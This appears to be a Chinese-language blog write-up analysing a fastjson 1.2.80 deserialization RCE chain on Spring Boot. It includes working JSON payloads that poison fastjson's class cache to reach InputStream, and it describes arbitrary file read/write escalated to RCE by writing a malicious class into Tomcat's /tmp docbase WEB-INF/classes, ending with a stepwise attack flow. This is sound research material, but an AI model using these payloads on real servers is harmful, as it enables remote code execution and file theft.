geekcon2024 jsjcw师傅披露的fastjson 1.2.80在spring下的RCE利用有很多值得学习的地方。这么看去年出的elephantcms又多了一个非预期,不过这个非预期比预期解还难😓
问题1:缓存InputStream
怎么缓存InputStream
1.2.68的修复方式将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单。在1.2.80的常见利用中用到的期望类为:Throwable和Exception,而本次gadget用到的是Exception。
学习本次挖掘gadget需了解关键特性1:fastjson反序列化符合条件的期望类时,会将setter参数、public字段、构造函数参数加到缓存中。

我们先发一个简单的payload看看fastjson是怎么缓存新类的:
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}
跟进到com.alibaba.fastjson.parser.ParserConfig#checkAutoType:
checkAutoType:1444, ParserConfig (com.alibaba.fastjson.parser)
parseObject:343, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:155, JSON (com.alibaba.fastjson)
getPropertyValue:3850, JSONPath (com.alibaba.fastjson)
eval:2354, JSONPath$PropertySegment (com.alibaba.fastjson)
eval:121, JSONPath (com.alibaba.fastjson)
handleResovleTask:1599, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
vuln:12, JSONController (org.example.controller)
发现这里从Mapping缓存取到了Exception期望类:
可以看到在TypeUtils的static中(也就是初始化)调用addBaseClassMappings往mappings缓存中添加了Exception等期望类:

在拿到对应的Exception类后该恢复字段信息了,这里我们的字段是特殊的@type。首先fj找到Exception对应的反序列化器ThrowableDeserializer:

后续会走到ThrowableDeserializer#deserialize,注意这里传了期望类(Throwable.class):
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此在loadclass后会把com.fasterxml.jackson.core.exc.InputCoercionException加到缓存:

ok,发送如下payload:
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException","p":{}}
在拿到反序列化器并且恢复完InputCoercionException后,后面用反序列化器拿到对应字段并根据key实例化FieldDeserializer。这里fileldInfo的class是JsonParser,因为我们的value是个jsonobject因此调用cast进行类型转换:

这个函数会根据传入对象的类型来进行对应的类型转换,传入的是p会走到Map的类型转换:

注意这里拿了com.fasterxml.jackson.core.JsonParser的反序列化器。

调用putDeserializer函数this.deserializers.put(type, deserializer),也就是说在拿到构造函数字段的反序列化器的同时还会往缓存里放type和反序列化器。
this.deserializers.put(type, deserializer);

好好好,接下来发送:
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}
而后续在反序列化JsonParser类过程中走checkAutoType就能取到这个类了:

对UTF8StreamJsonParser来说他是JsonParser一个特殊field,情况和InputCoercionException之于Exception相似:
在loadClass该类后还是走这个添加缓存逻辑:
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
而又因为InputStream是UTF8StreamJsonParser的构造参数因此不再赘述,与上述InputCoercionException之于JsonParser的情况类似。
PS:翻了翻实现JsonParser的类发现确实只有UTF8StreamJsonParser的构造参数存在InputStream,因此想找新链的话只能从InputCoercionException甚至更往前找了:)
整体gadget逻辑作者写的非常清晰:

为什么缓存InputStream
因为在1.2.80 fastjson禁了AutoCloseable,而BH之前爆出来的逐字节读文件的利用类BOMInputStream继承了InputStream,因此拿InputStream就是为了实现任意文件读。
这里合理推测作者是看到这个poc开始挖掘gadget的。因为AutoCloseable被ban退而求其次找InputStream,结合fastjson缓存新类的特性找到了往缓存里塞InputStream的gadget。

关于任意文件写,作者应该是找到了一个全新的链子解决了必须8192字节的问题,膜:

不过话说回来之前看过一个fj绕WAF打任意文件写的ctf题,那道题最后限制了字符长度,打8192字节那条gadget会被ban,不知道是不是想考这条链子?
问题2:SpringBoot 任意文件写 to RCE?
尽管之前有师傅提出了写charset.jar实现RCE的思路,但本人从未复现成功过(不是没权限就是存在类加载问题)。这里作者给了一个新的思路同样很值得学习。
fastjson在类加载时通过TomcatEmbeddedWebappClassLoader类加载器加载类:

根据双亲委派机制有些类会让WebappClassLoaderBase来加载。而WebappClassLoaderBase#findClass这里竟然有个加载内部类的逻辑:

看一下类加载路径,居然在temp目录下有个新的类加载口子:

而在linux下docbase的路径在/tmp,因此往docbase路径下写类就可以打类加载了,而该路径可以通过路径遍历或任意文件读取得到。不过话说回来在应用重启时又会出现新的docbase,图省事的话我们全都打一遍。

linux攻击流程
- 将
InputStream放入fastjson缓存 - 读取
/tmp文件下的文件,找到docbase的文件名。 - 往
${docbase}/WEB-INF/classes/路径下写入恶意类 - 通过
fastjson触发类加载。